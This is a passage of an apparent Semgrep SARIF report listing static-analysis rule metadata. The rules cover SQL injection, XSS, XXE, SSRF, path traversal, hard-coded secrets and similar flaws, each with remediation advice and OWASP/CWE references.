accessing."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-res-sendfile.express-res-sendfile","id":"javascript.express.security.audit.express-res-sendfile.express-res-sendfile","name":"javascript.express.security.audit.express-res-sendfile.express-res-sendfile","properties":{"precision":"very-high","tags":["CWE-73: External Control of File Name or Path","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-res-sendfile.express-res-sendfile"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.hibernate-sqli.hibernate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.hibernate-sqli.hibernate-sqli","id":"java.spring.security.hibernate-sqli.hibernate-sqli","name":"java.spring.security.hibernate-sqli.hibernate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.hibernate-sqli.hibernate-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false","id":"python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false","name":"python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-talisman-decorator-cookie-secure-false.flask-talisman-decorator-cookie-secure-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found potential SQL injection due to unsafe SQL query construction via $X. Where possible, prefer parameterized queries."},"help":{"markdown":"Found potential SQL injection due to unsafe SQL query construction via $X. Where possible, prefer parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-sql.check-sql)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n - [https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails3.1/app/models/product.rb](https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails3.1/app/models/product.rb)\n","text":"Found potential SQL injection due to unsafe SQL query construction via $X. Where possible, prefer parameterized queries."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-sql.check-sql","id":"ruby.rails.security.brakeman.check-sql.check-sql","name":"ruby.rails.security.brakeman.check-sql.check-sql","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-sql.check-sql"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User controlled data in a `createNodesFromMarkup` is an anti-pattern that can lead to XSS vulnerabilities"},"help":{"markdown":"User controlled data in a `createNodesFromMarkup` is an anti-pattern that can lead to XSS vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User controlled data in a `createNodesFromMarkup` is an anti-pattern that can lead to XSS vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup","id":"javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup","name":"javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.fbjs.security.audit.insecure-createnodesfrommarkup.insecure-createnodesfrommarkup"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.secrets.database-password.database-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/php.secrets.database-password.database-password","id":"php.secrets.database-password.database-password","name":"php.secrets.database-password.database-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.secrets.database-password.database-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret","id":"python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret","name":"python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.tormysql.python-tormysql-hardcoded-secret.python-tormysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The current configuration allows for XXE attacks through parameter entities. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks with parameter entities. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","id":"java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","name":"java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxbuilder-xxe-parameter-entities.saxbuilder-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"S3 bucket with public read-write access detected."},"help":{"markdown":"S3 bucket with public read-write access detected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#acl](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#acl)\n - [https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl](https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl)\n","text":"S3 bucket with public read-write access detected."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket","id":"terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket","name":"terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.s3-public-rw-bucket.s3-public-rw-bucket"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask","id":"python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask","name":"python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-fs-flask.tainted-path-traversal-fs-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a request with potential user-input going into an `Ok()` response. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as Twirl which automatically escapes HTML views."},"help":{"markdown":"Detected a request with potential user-input going into an `Ok()` response. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as Twirl which automatically escapes HTML views.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.tainted-html-response.tainted-html-response)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a request with potential user-input going into an `Ok()` response. This bypasses any view or template environments, including HTML escaping, which may expose this application to cross-site scripting (XSS) vulnerabilities. Consider using a view technology such as Twirl which automatically escapes HTML views."},"helpUri":"https://semgrep.dev/r/scala.play.security.tainted-html-response.tainted-html-response","id":"scala.play.security.tainted-html-response.tainted-html-response","name":"scala.play.security.tainted-html-response.tainted-html-response","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.tainted-html-response.tainted-html-response"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controlled data from a request is passed to 'execute()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"help":{"markdown":"User-controlled data from a request is passed to 'execute()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute)\n - [https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection](https://docs.djangoproject.com/en/3.0/topics/security/#sql-injection-protection)\n","text":"User-controlled data from a request is passed to 'execute()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use django's QuerySets, which are built with query parameterization and therefore not vulnerable to sql injection. For example, you could use `Entry.objects.filter(date=2006)`."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute","id":"python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute","name":"python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.sql.sql-injection-using-db-cursor-execute.sql-injection-db-cursor-execute"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.xss.direct-response-write.direct-response-write)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/java.micronaut.xss.direct-response-write.direct-response-write","id":"java.micronaut.xss.direct-response-write.direct-response-write","name":"java.micronaut.xss.direct-response-write.direct-response-write","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.xss.direct-response-write.direct-response-write"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Usage of the insecure ECB mode detected. You should use an authenticated encryption mode instead, which is implemented by the classes AesGcm or ChaCha20Poly1305."},"help":{"markdown":"Usage of the insecure ECB mode detected. You should use an authenticated encryption mode instead, which is implemented by the classes AesGcm or ChaCha20Poly1305.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.use_ecb_mode.use_ecb_mode)\n - [https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.chacha20poly1305?view=net-6.0](https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.chacha20poly1305?view=net-6.0)\n - [https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.aesgcm?view=net-6.0](https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.aesgcm?view=net-6.0)\n - [https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.ciphermode?view=net-6.0](https://learn.microsoft.com/en-gb/dotnet/api/system.security.cryptography.ciphermode?view=net-6.0)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#cipher-modes)\n","text":"Usage of the insecure ECB mode detected. You should use an authenticated encryption mode instead, which is implemented by the classes AesGcm or ChaCha20Poly1305."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.use_ecb_mode.use_ecb_mode","id":"csharp.dotnet.security.use_ecb_mode.use_ecb_mode","name":"csharp.dotnet.security.use_ecb_mode.use_ecb_mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.use_ecb_mode.use_ecb_mode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `wkhtmltopdf` methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `wkhtmltopdf` methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection)\n - [https://www.npmjs.com/package/wkhtmltopdf](https://www.npmjs.com/package/wkhtmltopdf)\n","text":"If unverified user data can reach the `wkhtmltopdf` methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection","id":"javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection","name":"javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-wkhtml-injection.express-wkhtmltopdf-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument","id":"javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument","name":"javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sequelize.node-sequelize-empty-password-argument.node-sequelize-empty-password-argument"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-requests.tainted-fastapi-http-request-requests)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat 